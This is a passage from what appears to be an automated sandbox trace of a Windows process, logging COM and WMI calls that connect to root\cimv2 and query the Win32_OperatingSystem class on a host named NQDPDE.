[7]=0x46)), ppvObject=0x12fee20 | out: ppvObject=0x12fee20*=0x1394e60) returned 0x0 [0195.569] WbemLocator:IClientSecurity:SetBlanket (This=0x1394e60, pProxy=0x13cb328, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0195.569] WbemLocator:IUnknown:Release (This=0x1394e60) returned 0x2 [0195.570] WbemLocator:IUnknown:Release (This=0x1394e84) returned 0x1 [0195.570] CoTaskMemFree (pv=0x13ccee8) [0195.570] WbemLocator:IUnknown:AddRef (This=0x13cb328) returned 0x2 [0195.570] WbemLocator:IUnknown:Release (This=0x1399878) returned 0x0 [0195.570] CoGetContextToken (in: pToken=0x12fe360 | out: pToken=0x12fe360) returned 0x0 [0195.570] CoGetContextToken (in: pToken=0x12fe768 | out: pToken=0x12fe768) returned 0x0 [0195.570] WbemLocator:IUnknown:QueryInterface (in: This=0x13cb328, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe700 | out: ppvObject=0x12fe700*=0x1394e68) returned 0x0 [0195.570] WbemLocator:IRpcOptions:Query (in: This=0x1394e68, pPrx=0x13a1090, dwProperty=2, pdwValue=0x12fe800 | out: pdwValue=0x12fe800) returned 0x80004002 [0195.570] WbemLocator:IUnknown:Release (This=0x1394e68) returned 0x2 [0195.571] CoGetContextToken (in: pToken=0x12fed40 | out: pToken=0x12fed40) returned 0x0 [0195.571] CoGetContextToken (in: pToken=0x12feca0 | out: pToken=0x12feca0) returned 0x0 [0195.571] WbemLocator:IUnknown:QueryInterface (in: This=0x13cb328, riid=0x12fed70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x12fec38 | out: ppvObject=0x12fec38*=0x13cb328) returned 0x0 [0195.571] WbemLocator:IUnknown:Release (This=0x13cb328) returned 0x2 [0195.576] SysStringLen (param_1=0x0) returned 0x0 [0195.577] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3ae0, puCount=0x12ff0a8 | out: puCount=0x12ff0a8*=0x2) returned 0x0 [0195.577] WbemDefPath:IWbemPath:GetText (in: This=0x13a3ae0, lFlags=4, puBuffLength=0x12ff0a4*=0x0, pszText=0x0 | out: puBuffLength=0x12ff0a4*=0xf, pszText=0x0) returned 0x0 [0195.577] WbemDefPath:IWbemPath:GetText (in: This=0x13a3ae0, lFlags=4, puBuffLength=0x12ff0a4*=0xf, pszText="00000000000000" | out: puBuffLength=0x12ff0a4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0195.577] WbemDefPath:IWbemPath:GetText (in: This=0x13a4480, lFlags=2, puBuffLength=0x12ff0ac*=0x0, pszText=0x0 | out: puBuffLength=0x12ff0ac*=0x16, pszText=0x0) returned 0x0 [0195.577] WbemDefPath:IWbemPath:GetText (in: This=0x13a4480, lFlags=2, puBuffLength=0x12ff0ac*=0x16, pszText="000000000000000000000" | out: puBuffLength=0x12ff0ac*=0x16, pszText="Win32_OperatingSystem") returned 0x0 [0195.585] IWbemServices:GetObject (in: This=0x13cb328, strObjectPath="Win32_OperatingSystem", lFlags=0, pCtx=0x0, ppObject=0x12fefbc*=0x0, ppCallResult=0x0 | out: ppObject=0x12fefbc*=0x13d3e40, ppCallResult=0x0) returned 0x0 [0195.669] IWbemClassObject:Get (in: This=0x13d3e40, wszName="__PATH", lFlags=0, pVal=0x12ff048*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12ff0f0*=0, plFlavor=0x12ff0ec*=0 | out: pVal=0x12ff048*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\NQDPDE\\ROOT\\cimv2:Win32_OperatingSystem", varVal2=0x0), pType=0x12ff0f0*=8, plFlavor=0x12ff0ec*=64) returned 0x0 [0195.682] SysStringByteLen (bstr="\\\\NQDPDE\\ROOT\\cimv2:Win32_OperatingSystem") returned 0x52 [0195.683] SysStringByteLen (bstr="\\\\NQDPDE\\ROOT\\cimv2:Win32_OperatingSystem") returned 0x52 [0195.683] CoGetObjectContext (in: riid=0x31a7190*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12ff058 | out: ppv=0x12ff058*=0x135504c) returned 0x0 [0195.683] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12ff050 | out: pAptType=0x12ff050*=1) returned 0x0 [0195.683] IUnknown:QueryInterface (in: This=0x135504c, riid=0x31a7178*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12ff054 | out: ppvObject=0x12ff054*=0x0) returned 0x80004002 [0195.683] IUnknown:Release (This=0x135504c) returned 0x1 [0195.684] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe9b0 | out: ppv=0x12fe9b0*=0x134a908) returned 0x0 [0195.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x134a908, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12febcc | out: ppvObject=0x12febcc*=0x0) returned 0x80004002 [0195.684] WbemDefPath:IClassFactory:CreateInstance (in: This=0x134a908, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12febd8 | out: ppvObject=0x12febd8*=0x13a42c0) returned 0x0 [0195.684] WbemDefPath:IUnknown:Release (This=0x134a908) returned 0x0 [0195.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe7fc | out: ppvObject=0x12fe7fc*=0x13a42c0) returned 0x0 [0195.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe7b8 | out: ppvObject=0x12fe7b8*=0x0) returned 0x80004002 [0195.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe3ac | out: ppvObject=0x12fe3ac*=0x0) returned 0x80004002 [0195.685] WbemDefPath:IUnknown:AddRef (This=0x13a42c0) returned 0x3 [0195.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe10c | out: ppvObject=0x12fe10c*=0x0) returned 0x80004002 [0195.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe0bc | out: ppvObject=0x12fe0bc*=0x0) returned 0x80004002 [0195.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe0c8 | out: ppvObject=0x12fe0c8*=0x13a1348) returned 0x0 [0195.685] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13a1348, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe0d0 | out: pCid=0x12fe0d0) returned 0x0 [0195.685] WbemDefPath:IUnknown:Release (This=0x13a1348) returned 0x3 [0195.685] CoGetContextToken (in: pToken=0x12fe128 | out: pToken=0x12fe128) returned 0x0 [0195.685] CoGetContextToken (in: pToken=0x12fe530 | out: pToken=0x12fe530) returned 0x0 [0195.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5bc | out: ppvObject=0x12fe5bc*=0x0) returned 0x80004002 [0195.685] WbemDefPath:IUnknown:Release (This=0x13a42c0) returned 0x2 [0195.685] WbemDefPath:IUnknown:Release (This=0x13a42c0) returned 0x1 [0195.685] CoGetContextToken (in: pToken=0x12feed0 | out: pToken=0x12feed0) returned 0x0 [0195.685] CoGetContextToken (in: pToken=0x12fee30 | out: pToken=0x12fee30) returned 0x0 [0195.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x12fef00*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12feefc | out: ppvObject=0x12feefc*=0x13a42c0) returned 0x0 [0195.685] WbemDefPath:IUnknown:AddRef (This=0x13a42c0) returned 0x3 [0195.685] WbemDefPath:IUnknown:Release (This=0x13a42c0) returned 0x2 [0195.685] WbemDefPath:IWbemPath:SetText (This=0x13a42c0, uMode=0x4, pszPath="\\\\NQDPDE\\ROOT\\cimv2:Win32_OperatingSystem") returned 0x0 [0195.685] IWbemClassObject:Get (in: This=0x13d3e40, wszName="__CLASS", lFlags=0, pVal=0x12ff0b8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12ff138*=0, plFlavor=0x12ff134*=0 | out: pVal=0x12ff0b8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_OperatingSystem", varVal2=0x0), pType=0x12ff138*=8, plFlavor=0x12ff134*=64) returned 0x0 [0195.685] SysStringByteLen (bstr="Win32_OperatingSystem") returned 0x2a [0195.685] SysStringByteLen (bstr="Win32_OperatingSystem") returned 0x2a [0195.685] CoGetContextToken (in: pToken=0x12feec8 | out: pToken=0x12feec8) returned 0x0 [0195.686] IWbemServices:CreateInstanceEnum (in: This=0x13cb328, strFilter="Win32_OperatingSystem", lFlags=17, pCtx=0x0, ppEnum=0x12ff0b4 | out: ppEnum=0x12ff0b4*=0x13acaa0) returned 0x0 [0195.692] IUnknown:QueryInterface (in: This=0x13acaa0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fef34 | out: ppvObject=0x12fef34*=0x13acaa4) returned 0x0 [0195.693] IClientSecurity:QueryBlanket (in: This=0x13acaa4, pProxy=0x13acaa0, pAuthnSvc=0x12fef84, pAuthzSvc=0x12fef80, pServerPrincName=0x12fef78, pAuthnLevel=0x12fef7c, pImpLevel=0x12fef6c, pAuthInfo=0x12fef70, pCapabilites=0x12fef74 | out: pAuthnSvc=0x12fef84*=0xa, pAuthzSvc=0x12fef80*=0x0, pServerPrincName=0x12fef78, pAuthnLevel=0x12fef7c*=0x6, pImpLevel=0x12fef6c*=0x2, pAuthInfo=0x12fef70, pCapabilites=0x12fef74*=0x1) returned 0x0 [0195.693] IUnknown:Release (This=0x13acaa4) returned 0x1 [0195.693] IUnknown:QueryInterface (in: This=0x13acaa0, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fef28 | out: ppvObject=0x12fef28*=0x1395384) returned 0x0 [0195.693] IUnknown:QueryInterface (in: This=0x13acaa0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fef14 | out: ppvObject=0x12fef14*=0x13acaa4) returned 0x0 [0195.693] IClientSecurity:SetBlanket (This=0x13acaa4, pProxy=0x13acaa0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0195.699] IUnknown:Release (This=0x13acaa4) returned 0x2 [0195.699] WbemLocator:IUnknown:Release (This=0x1395384) returned 0x1 [0195.699] CoTaskMemFree (pv=0x13ccdc8) [0195.699] IUnknown:AddRef (This=0x13acaa0) returned 0x2 [0195.699] CoGetContextToken (in: pToken=0x12fe448 | out: pToken=0x12fe448) returned 0x0 [0195.699] CoGetContextToken (in: pToken=0x12fe850 | out: pToken=0x12fe850) returned 0x0 [0195.699] IUnknown:QueryInterface (in: This=0x13acaa0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe7e8 | out: ppvObject=0x12fe7e8*=0x1395368) returned 0x0 [0195.700] WbemLocator:IRpcOptions:Query (in: This=0x1395368, pPrx=0x13a1270, dwProperty=2, pdwValue=0x12fe8e8 | out: pdwValue=0x12fe8e8) returned 0x80004002 [0195.700] WbemLocator:IUnknown:Release (This=0x1395368) returned 0x2 [0195.700] CoGetContextToken (in: pToken=0x12fee30 | out: pToken=0x12fee30) returned 0x0 [0195.700] CoGetContextToken (in: pToken=0x12fed90 | out: pToken=0x12fed90) returned 0x0 [0195.700] IUnknown:QueryInterface (in: This=0x13acaa0, riid=0x12fee60*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x12fed28 | out: ppvObject=0x12fed28*=0x13acaa0) returned 0x0 [0195.700] IUnknown:Release (This=0x13acaa0) returned 0x2 [0195.700] SysStringLen (param_1=0x0) returned 0x0 [0195.700] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3ae0, puCount=0x12ff0f0 | out: puCount=0x12ff0f0*=0x2) returned 0x0 [0195.700] WbemDefPath:IWbemPath:GetText (in: This=0x13a3ae0, lFlags=4, puBuffLength=0x12ff0ec*=0x0, pszText=0x0 | out: puBuffLength=0x12ff0ec*=0xf, pszText=0x0) returned 0x0 [0195.700] WbemDefPath:IWbemPath:GetText (in: This=0x13a3ae0, lFlags=4, puBuffLength=0x12ff0ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x12ff0ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0195.700] CoGetContextToken (in: pToken=0x12fef30 | out: pToken=0x12fef30) returned 0x0 [0195.700] IEnumWbemClassObject:Clone (in: This=0x13acaa0, ppEnum=0x12ff0f0 | out: ppEnum=0x12ff0f0*=0x13ac2d0) returned 0x0 [0195.702] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fefac | out: ppvObject=0x12fefac*=0x13ac2d4) returned 0x0 [0195.702] IClientSecurity:QueryBlanket (in: This=0x13ac2d4, pProxy=0x13ac2d0, pAuthnSvc=0x12feffc, pAuthzSvc=0x12feff8, pServerPrincName=0x12feff0, pAuthnLevel=0x12feff4, pImpLevel=0x12fefe4, pAuthInfo=0x12fefe8, pCapabilites=0x12fefec | out: pAuthnSvc=0x12feffc*=0xa, pAuthzSvc=0x12feff8*=0x0, pServerPrincName=0x12feff0, pAuthnLevel=0x12feff4*=0x6, pImpLevel=0x12fefe4*=0x2, pAuthInfo=0x12fefe8, pCapabilites=0x12fefec*=0x1) returned 0x0 [0195.702] IUnknown:Release (This=0x13ac2d4) returned 0x1 [0195.702] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fefa0 | out: ppvObject=0x12fefa0*=0x1396084) returned 0x0 [0195.702] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fef8c | out: ppvObject=0x12fef8c*=0x13ac2d4) returned 0x0 [0195.702] IClientSecurity:SetBlanket (This=0x13ac2d4, pProxy=0x13ac2d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0195.723] IUnknown:Release (This=0x13ac2d4) returned 0x2 [0195.723] WbemLocator:IUnknown:Release (This=0x1396084) returned 0x1 [0195.723] CoTaskMemFree (pv=0x13ccbe8) [0195.723] IUnknown:AddRef (This=0x13ac2d0) returned 0x2 [0195.723] CoGetContextToken (in: pToken=0x12fe4b8 | out: pToken=0x12fe4b8) returned 0x0 [0195.723] CoGetContextToken (in: pToken=0x12fe8c0 | out: pToken=0x12fe8c0) returned 0x0 [0195.723] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe858 | out: ppvObject=0x12fe858*=0x1396068) returned 0x0 [0195.724] WbemLocator:IRpcOptions:Query (in: This=0x1396068, pPrx=0x13a1360, dwProperty=2, pdwValue=0x12fe958 | out: pdwValue=0x12fe958) returned 0x80004002 [0195.724] WbemLocator:IUnknown:Release (This=0x1396068) returned 0x2 [0195.724] CoGetContextToken (in: pToken=0x12fee98 | out: pToken=0x12fee98) returned 0x0 [0195.724] CoGetContextToken (in: pToken=0x12fedf8 | out: pToken=0x12fedf8) returned 0x0 [0195.724] IUnknown:QueryInterface (in: This=0x13ac2d0, riid=0x12feec8*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x12fed90 | out: ppvObject=0x12fed90*=0x13ac2d0) returned 0x0 [0195.724] IUnknown:Release (This=0x13ac2d0) returned 0x2 [0195.724] SysStringLen (param_1=0x0) returned 0x0 [0195.724] IEnumWbemClassObject:Reset (This=0x13ac2d0) returned 0x0 [0195.727] CoTaskMemAlloc (cb=0x4) returned 0x13d5f58 [0195.727] IEnumWbemClassObject:Next (in: This=0x13ac2d0, lTimeout=-1, uCount=0x1, apObjects=0x13d5f58, puReturned=0x31abc04 | out: apObjects=0x13d5f58*=0x13d5720, puReturned=0x31abc04*=0x1) returned 0x0 [0195.730] IUnknown:QueryInterface (in: This=0x13d5720, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe748 | out: ppvObject=0x12fe748*=0x13d5720) returned 0x0 [0195.730] IUnknown:QueryInterface (in: This=0x13d5720, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe704 | out: ppvObject=0x12fe704*=0x0) returned 0x80004002 [0195.730] IUnknown:QueryInterface (in: This=0x13d5720, riid=0x737e03bc*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fe524 | out: ppvObject=0x12fe524*=0x0) returned 0x80004002 [0195.730] IUnknown:QueryInterface (in: This=0x13d5720, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe2fc | out: ppvObject=0x12fe2fc*=0x0) returned 0x80004002 [0195.730] IUnknown:AddRef (This=0x13d5720) returned 0x3 [0195.730] IUnknown:QueryInterface (in: This=0x13d5720, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe05c | out: ppvObject=0x12fe05c*=0x0) returned 0x80004002 [0195.730] IUnknown:QueryInterface (in: This=0x13d5720, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe00c | out: ppvObject=0x12fe00c*=0x0) returned 0x80004002 [0195.730] IUnknown:QueryInterface (in: This=0x13d5720, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe018 | out: ppvObject=0x12fe018*=0x13d5724) returned 0x0 [0195.730] IMarshal:GetUnmarshalClass (in: This=0x13d5724, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe020 | out: pCid=0x12fe020) returned 0x0 [0195.730] IUnknown:Release (This=0x13d5724) returned 0x3 [0195.730] CoGetContextToken (in: pToken=0x12fe078 | out: pToken=0x12fe078) returned 0x0 [0195.730] CoGetContextToken (in: pToken=0x12fe480 | out: pToken=0x12fe480) returned 0x0 [0195.730] IUnknown:QueryInterface (in: This=0x13d5720, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe50c | out: ppvObject=0x12fe50c*=0x0) returned 0x80004002 [0195.731] IUnknown:Release (This=0x13d5720) returned 0x2 [0195.731] CoGetContextToken (in: pToken=0x12fea58 | out: pToken=0x12fea58) returned 0x0 [0195.731] CoGetContextToken (in: pToken=0x12fe9b8 | out: pToken=0x12fe9b8) returned 0x0 [0195.731] IUnknown:QueryInterface (in: This=0x13d5720, riid=0x12fea88*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fea84 | out: ppvObject=0x12fea84*=0x13d5720) returned 0x0 [0195.731] IUnknown:AddRef (This=0x13d5720) returned 0x4 [0195.731] IUnknown:Release (This=0x13d5720) returned 0x3 [0195.731] IUnknown:Release (This=0x13d5720) returned 0x2 [0195.731] CoTaskMemFree (pv=0x13d5f58) [0195.731] CoGetContextToken (in: pToken=0x12fedd0 | out: pToken=0x12fedd0) returned 0x0 [0195.731] IUnknown:AddRef (This=0x13d5720) returned 0x3 [0195.731] IWbemClassObject:Get (in: This=0x13d5720, wszName="__GENUS", lFlags=0, pVal=0x12ff0e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12ff160*=0, plFlavor=0x12ff15c*=0 | out: pVal=0x12ff0e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x12ff160*=3, plFlavor=0x12ff15c*=64) returned 0x0 [0195.732] IWbemClassObject:Get (in: This=0x13d5720, wszName="__PATH", lFlags=0, pVal=0x12ff0c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12ff148*=0, plFlavor=0x12ff144*=0 | out: pVal=0x12ff0c4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\NQDPDE\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"NQDPDE\"", varVal2=0x0), pType=0x12ff148*=8, plFlavor=0x12ff144*=64) returned 0x0 [0195.732] SysStringByteLen (bstr="\\\\NQDPDE\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"NQDPDE\"") returned 0x72 [0195.732] SysStringByteLen (bstr="\\\\NQDPDE\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"NQDPDE\"") returned 0x72 [0195.732] CoGetObjectContext (in: riid=0x31a7190*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12ff0f0 | out: ppv=0x12ff0f0*=0x135504c) returned 0x0 [0195.732] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12ff0e8 | out: pAptType=0x12ff0e8*=1) returned 0x0 [0195.732] IUnknown:QueryInterface (in: This=0x135504c, riid=0x31a7178*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12ff0ec | out: ppvObject=0x12ff0ec*=0x0) returned 0x80004002 [0195.732] IUnknown:Release (This=0x135504c) returned 0x1 [0195.733] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fea48 | out: ppv=0x12fea48*=0x13d5fd8) returned 0x0 [0195.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x13d5fd8, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fec64 | out: ppvObject=0x12fec64*=0x0) returned 0x80004002 [0195.733] WbemDefPath:IClassFactory:CreateInstance (in: This=0x13d5fd8, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fec70 | out: ppvObject=0x12fec70*=0x13a3fb0) returned 0x0 [0195.733] WbemDefPath:IUnknown:Release (This=0x13d5fd8) returned 0x0 [0195.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3fb0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, 